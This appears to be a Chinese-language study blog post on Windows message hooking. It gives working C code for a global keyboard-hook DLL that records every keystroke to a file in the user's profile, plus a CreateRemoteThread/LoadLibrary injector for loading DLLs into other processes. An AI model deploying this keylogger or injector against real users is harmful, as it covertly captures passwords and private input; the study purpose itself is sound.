之前尝试过对函数的hook,这次参考了《逆向工程核心原理》,尝试使用windows的系统函数在系统层面对message进行hook


消息

Windows是以事件驱动来工作的。每当用户执行一个操作,都会让OS把对应的消息发送给相应的应用程序。

每个消息都是一个结构,其中的message是对应的消息类别,32位

1
2
3
4
5
6
7
8
9
typedef struct tagMsg
{
HWND hwnd; //接受该消息的窗口句柄
UINT message; //消息常量标识符,也就是我们通常所说的消息号
WPARAM wParam; //32位消息的特定附加信息,确切含义依赖于消息值
LPARAM lParam; //32位消息的特定附加信息,确切含义依赖于消息值
DWORD time; //消息创建时的时间
POINT pt; //消息创建时的鼠标/光标在屏幕坐标系中的位置
}MSG;

标识符:

1
2
3
4
5
6
7
8
9
10
11
12
13
WM_NULL---0x0000    空消息。
0x0001----0x0087 主要是窗口消息。
0x00A0----0x00A9 非客户区消息
0x0100----0x0108 键盘消息
0x0111----0x0126 菜单消息
0x0132----0x0138 颜色控制消息
0x0200----0x020A 鼠标消息
0x0211----0x0213 菜单循环消息
0x0220----0x0230 多文档消息
0x03E0----0x03E8 DDE消息
0x0400 WM_USER
0x8000 WM_APP
0x0400----0x7FFF 应用程序自定义私有消息

消息分为:

  • 窗口消息:对窗口的操作触发窗口消息:创建窗口,移动窗口,单机鼠标
  • 命令消息:属于窗口消息,处理从一个窗口发送到另一个窗口的用户请求,比如按下按钮
  • 控件通知消息:用于子窗口通知父窗口

每一个程序在执行后,都存在一个消息队列,进程通过第一次调用GDI函数创建一个队列。所有消息都存放在这个队列中,应用程序通过一个消息循环,读取其中的消息并响应。消息队列分为系统消息队列和线程消息队列,系统消息队列由Windows维护,线程消息队列由GUI线程维护。

以鼠标点击举例:

当鼠标点击时,驱动创建对应的消息传送到系统消息队列。当有应用要读取时,系统从系统队列中把对应的消息取出,传给对应的线程消息队列。线程在消息的读取循环中把消息拿出来,通过操作系统发送到对应窗口过程处理。


hook

hook,就是在它们传递过程中插入自己的代码的操作。

现在用键盘钩子举例

重要的函数有以下几个:

1
2
3
SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstance, 0);//创建一个钩子

UnhookWindowsHookEx(g_hHook);//删除一个钩子

我们要调用这个api执行钩子操作,可以直接把这个写到exe里面,但是这样就是exe监听其它的,而不是直接把dll放进去,所以把这两个函数写到dll里面并添加dllexport关键字作为导出函数,这样就可以被其它进程访问,我们可以专门写一个exe去执行它

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#ifdef __cplusplus
extern "C" {
#endif
__declspec(dllexport) void HookStart()
{
g_hHook = SetWindowsHookExA(WH_KEYBOARD, KeyboardProc, g_hInstance, 0);

}
__declspec(dllexport) void HookStop()
{
if (g_hHook)
{
UnhookWindowsHookEx(g_hHook);
}

}
#ifdef __cplusplus
}
#endif

然后再写钩子的回调函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
void writeToFile(const char* str) {
char* user_dir = getenv("USERPROFILE");
if (user_dir != NULL) {
char file_path[256];
snprintf(file_path, sizeof(file_path), "%s\\outputkey.txt", user_dir);
FILE* fl = fopen(file_path, "a+");
if (fl != NULL) {
fwrite(str, sizeof(char), strlen(str), fl);
fclose(fl);
}
}
}
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
char ch[15] = { 0 };
if (((DWORD)lParam & 0x80000000) && (HC_ACTION == nCode)) {
switch (wParam) {
case VK_RETURN:
strcpy(ch, "[ENTER]");
break;
case VK_BACK:
strcpy(ch, "[BCAKSPACE]");
break;
case VK_TAB:
strcpy(ch, "[TAB]");
break;
case VK_MENU: { strcpy(ch, "[ALT]"); break; }
case VK_ESCAPE: { strcpy(ch, "[ESC]"); break; }
case VK_DELETE: { strcpy(ch, "[DELETE]"); break; }
case VK_LEFT: { strcpy(ch, "[LEFT]"); break; }
case VK_UP: { strcpy(ch, "[RIGHT]"); break; }
case VK_RIGHT: { strcpy(ch, "[RIGHT]"); break; }
case VK_DOWN: { strcpy(ch, "[DOWN]"); break; }
case VK_LWIN: { strcpy(ch, "[WIN KEY]"); break; }
case VK_RWIN: { strcpy(ch, "[WIN KEY]"); break; }
case VK_LCONTROL: { strcpy(ch, "[CTRL]"); break; }
case VK_RCONTROL: { strcpy(ch, "[CTRL]"); break; }
case VK_F1: { strcpy(ch, "[F1]"); break; }
case VK_F2: { strcpy(ch, "[F2]"); break; }
case VK_F3: { strcpy(ch, "[F3]"); break; }
case VK_F4: { strcpy(ch, "[F4]"); break; }
case VK_F5: { strcpy(ch, "[F5]"); break; }
case VK_F6: { strcpy(ch, "[F6]"); break; }
case VK_F7: { strcpy(ch, "[F7]"); break; }
case VK_F8: { strcpy(ch, "[F8]"); break; }
case VK_F9: { strcpy(ch, "[F9]"); break; }
case VK_F10: { strcpy(ch, "[F10]"); break; }
case VK_F11: { strcpy(ch, "[F11]"); break; }
case VK_F12: { strcpy(ch, "[F12]"); break; }
default:
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan = 0;
ToAscii(wParam, scan, ks, &w, 0);
ch[0] = char(w);
ch[1] = '\0';
}
writeToFile(ch);

}
return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}

这时dllmain就可以什么都不干了,只用找到当前进程句柄就好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
BOOL APIENTRY DllMain(
HMODULE hinstDLL,
DWORD dwReason,
LPVOID lParam
)
{
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
g_hInstance = hinstDLL;
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

这样就可以在固定位置生成文件写入按键了,上面的代码参考了github上的一个项目


DLL注入

从外部促使目标进程调用LoadLibrary的API使得执行DLLMain

书上只写了两种方法,之后有机会试一试反射注入,听说效果更好

第一种:

远程线程注入,创建一个远程线程代替原本进程注入进去,

函数

1
2
3
4
5
6
7
8
9
10
11
12
13
WINBASEAPI
_Ret_maybenull_
HANDLE
WINAPI
CreateRemoteThread(
_In_ HANDLE hProcess,
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ SIZE_T dwStackSize,
_In_ LPTHREAD_START_ROUTINE lpStartAddress,
_In_opt_ LPVOID lpParameter,
_In_ DWORD dwCreationFlags,
_Out_opt_ LPDWORD lpThreadId
);

其中第4个参数(如果没有第二个可选参数就是第三个)是线程回调函数地址,当创建好线程后,这个线程就会执行这个函数。其最终的传入参数是CreateRemoteThread的第5个参数,这里它一定是一个指针,所以如果要传入多个参数的话需要一些数据结构,比如数组指针或者结构体指针。

由于传入参数是一个指针,而一个进程只能访问它拥有的内存空间,所以为了把dll成功注入,需要先把参数写到目标进程的内存中

函数

1
2
3
4
5
6
7
8
9
10
11
12
WINBASEAPI
_Ret_maybenull_
_Post_writable_byte_size_(dwSize)
LPVOID
WINAPI
VirtualAllocEx(
_In_ HANDLE hProcess,
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);

是用于在目标进程内申请空间并返回对应指针的函数

函数

1
2
3
4
5
6
7
8
9
10
11
WINBASEAPI
_Success_(return != FALSE)
BOOL
WINAPI
WriteProcessMemory(
_In_ HANDLE hProcess,
_In_ LPVOID lpBaseAddress,
_In_reads_bytes_(nSize) LPCVOID lpBuffer,
_In_ SIZE_T nSize,
_Out_opt_ SIZE_T* lpNumberOfBytesWritten
);

这个是写入内存的函数,第二个参数是之前申请到的地址,第三个参数是写入的内容。

然后就可以直接用第二个参数当写入内容的指针了

inject函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int inject(DWORD dwPID, LPCTSTR szDllPath) {
HANDLE hProcess = 0, hThread = 0;
if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)))//取得对应PID句柄
{
_tprintf(_T("open %d failed\n"), dwPID);
return FALSE;
}
DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
LPVOID pBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);//申请内存
if (pBuf == 0) {
_tprintf(_T("memory alloc failed\n"));
return FALSE;
}

WriteProcessMemory(hProcess, pBuf, (LPVOID)szDllPath, dwBufSize, NULL);//写入地址
HMODULE kernel = GetModuleHandle(L"kernel32.dll");
if (kernel == NULL)
return FALSE;
LPTHREAD_START_ROUTINE pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(kernel, "LoadLibraryW");//获取LodaLibrary地址
hThread = CreateRemoteThread(hProcess,
NULL,
0,
pThreadProc,//线程回调函数
pBuf,//传参
0,
NULL);
if (hThread == NULL) {
_tprintf(_T("create hThread failed\n"));
return FALSE;
}
WaitForSingleObject(hThread, INFINITE);//等待线程结束
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}

在测试中,得知了x86的进程,那么注入器和dll也要是x86的,x64的也一样

还没学DLL卸载QAQ